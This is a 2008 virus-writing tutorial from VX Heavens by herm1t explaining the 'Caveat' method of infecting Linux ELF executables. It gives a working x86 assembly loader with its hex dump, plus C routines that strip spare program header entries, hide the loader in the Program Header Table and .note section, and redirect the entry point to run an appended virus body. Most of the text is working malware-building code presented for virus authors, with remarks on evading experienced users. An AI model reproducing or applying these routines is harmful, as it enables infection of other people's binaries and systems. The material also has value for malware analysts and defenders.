Caveat virus

herm1t, 2008-02-27

Back to main page

This tutorial explains how to use a small amounts of space within Program Header Table to inject the tiny loader which will allocate the memory for the main virus body, load and execute it. Suppose that we have, say, 64 bytes of unused space inside loadable segment? The loader might be implemented as follows:

		pusha
		pushl	$0x00006578
		pushl	$0x652f666c
		pushl	$0x65732f63
		pushl	$0x6f72702f
		mov	%esp,%ebx
		sub	%ecx,%ecx
		push	$5		
		.byte	0xe9
		.long	0
		pop	%eax
		int	$0x80
		pushl	$0x55aa55aa	# offset in file & 0xfffff000 (*)
		push	%eax		# handle
		push	$1		# flags (MAP_SHARED)
		push	$5		# prot (PROT_READ|PROT_EXEC)
		push	$0x1000		# length
		push	%ecx		# start
		mov	%esp,%ebx
		push	$90		# __NR_mmap
		pop	%eax
		int	$0x80
		jmp	*%eax

The above code would open the "/proc/self/exe" for reading, mmap its tail with read and execute permissions, adjust address returned by mmap and pass control to the virus. NB! There is no error checking on both syscalls. Before returning control to the host program, virus need to clean the stack from loader's local variables and pop saved registers (add $40,%esp / popa). When you receive control you'll have your own address in %eax and handle of the infected file in stack. One might also wish to re-allocate the memory and move there to unmap and close the file there the virus resides, but this isn't really neccessary.

Compile it with as loader.s and dump with objdump -s -j .text a.out:

0000  60687865 0000686c 662f6568 632f7365 682f7072 6f89e329 c96a05e9 00000000
0020  58cd8068 aa55aa55 506a016a 05680010 00005189 e36a5a58 cd80ffe0

Only 60 bytes, surely, you can chop a few bytes more, but this is irrelevant. The virus body should be appended to the file you are going to infect. Note, that the offset of the virus in file should be patched (instruction marked by (*), offset 36 in loader). The file length must be multiple of page size, truncate(2) it before writing virus body. This limitation is due to mmap(2).

Ok, we have a loader, but where is the promissed space? I think all of you knew what the Program Header Table is. It filled with entries (32 bytes each) which describe the segments of the program. Some of them are deadly important (like PT_LOAD or PT_DYNAMIC) and it's not possible to tell the same about the rest. Let's return to the widely known method of infection called "Additional Code Segment" [1]. The sum and substance of it is a replacement of the unused PHT entry with type PT_NOTE (pointer to .note.ABI-tag section) by PT_LOAD (new segment with virus code). We can remove PT_NOTE completely without any consequences. The introduction of the new segment is a quite noticable change for the experienced user. The interesting thing about PHT is that it is located in the text segment. So, we have 32 spare bytes inside PHT and another 32 bytes in .note.ABI-tag section and will use it for the code itself. We will split the loader into two parts (this is what jmp 0f; 0: in loader for) and put it there.

BEFORE                                        AFTER                                                                                      
+======================+<----,                +======================+<----,
| ELF Header           |     |                | ELF Header           |     |
+ - - - - - - - - - - -+<---,|                + - - - - - - - - - - -+<---,|
| Program Header Table |    ||                | Program Header Table |    ||
| PT_PHDR              |----'|                | PT_PHDR              |----'|
| PT_INTERP            |-,   |                | PT_INTERP            |-,   |
| PT_LOAD              |-|---'                | PT_LOAD              |-|---'
| PT_LOAD              |-|-,                  | PT_LOAD              |-|-,
| PT_DYNAMIC           | | |                  | PT_DYNAMIC           | | |
| PT_NOTE              |-|-|-,                | PT_GNU_EH_FRAME      | | |  
| PT_GNU_EH_FRAME      | | | |                | PT_GNU_STACK         | | |  
| PT_GNU_STACK         | | | | Entry Point -->| Loader (part 1)   jmp|-|-|-,
+----------------------+<' | |                +----------------------+<' | | 
| .interp              |   | |                | .interp              |   | | 
+----------------------+<--|-'                +----------------------+<--|-'
| .note.ABI-tag        |   |                  | Loader (part 2)      |   |  
+----------------------+   |                  +----------------------+   |
|                      |   |                  |                      |   |
........................   |                  ........................   |
|                      |   |                  |                      |   |
+----------------------+<----Entry Point      +----------------------+   |
| .text                |   |                  | .text                |   |
........................   |                  ........................   |
+======================+<--'                  +======================+<--'
|                      |                      |                      |
........................                      ........................                

This could be done with the following code (victim was already mmaped, mapping - m, length - l, ehdr and phdr pointers filled):

	uint32_t note, base;
	for (i = 0; i < ehdr->e_phnum; i++) {
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
			base = phdr[i].p_vaddr;
		if (phdr[i].p_type == PT_NOTE) {
			note = phdr[i].p_offset;
			if (i != ehdr->e_phnum - 1)
				memcpy(&phdr[i], &phdr[i + 1],
					sizeof(Elf32_Phdr) * (ehdr->e_phnum - i - 1));
			ehdr->e_phnum--;
			*(uint32_t*)(loader + LOADER_JMP) =
				note - (ehdr->e_phoff + sizeof(Elf32_Phdr) * ehdr->e_phnum + 32);
			memcpy(&phdr[ehdr->e_phnum], loader, 32);
			memcpy(m + note, loader + 32, 32);
			ehdr->e_entry = base + ((char*)&phdr[ehdr->e_phnum] - (char*)m);
		}
	}

LOADER_JMP is the offset within loader to the argument of jmp linking two parts and is equal to 28.

There also a lot of other possible places for the loader. Recently, comrade F0g showed me his code and I realized that PT_NOTE is not the only reduntant header. The PT_NOTE was so obvious as a target that I didn't even thought about the others. Shame on me! And thanks to F0g! He is replacing the PT_PHDR entry, I also played a bit and found that PT_GNU_STACK is usually of no use also. So we can put the whole thing to PHT:

	uint32_t base;	
	Elf32_Phdr new_phdr[ehdr->e_phnum];
	int new_phnum = 0;
	for (i = 0; i < ehdr->e_phnum; i++) {
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
			base = phdr[i].p_vaddr;		
		if (phdr[i].p_type == PT_NOTE || phdr[i].p_type == PT_PHDR || phdr[i].p_type == PT_GNU_STACK)
			continue;
		memcpy(&new_phdr[new_phnum++], &phdr[i], sizeof(Elf32_Phdr));
	}
	if (ehdr->e_phnum - new_phnum > 1) {
		ehdr->e_phnum = new_phnum;
		memcpy(phdr, new_phdr, new_phnum * sizeof(Elf32_Phdr));
		memcpy(&phdr[new_phnum], loader, sizeof(loader));
		ehdr->e_entry = base + ((char*)&phdr[new_phnum] - (char*)m);
	}

Both variants presented above was implemented in the Linux.Caveat virus. There is also the nice side effect with this method - you don't need to set the infection marker, since the PHT entries could be removed only once.

Let's think what else could be done. One may shift the .interp section down in the file to make the hole in PHT and .note.ABI-tag contiguos. There is also a tiny free spots inside the ELF header and sections padding. Or you could reduce the .hash size [2].

Comments are welcome. <herm1t@vx.netlux.org>

References

  1. Alexander Bartolich, "The ELF Virus Writing HOWTO", 2003
  2. herm1t, "Hashin' the elves", 2007
Valid XHTML 1.0! Valid CSS! VX Heavens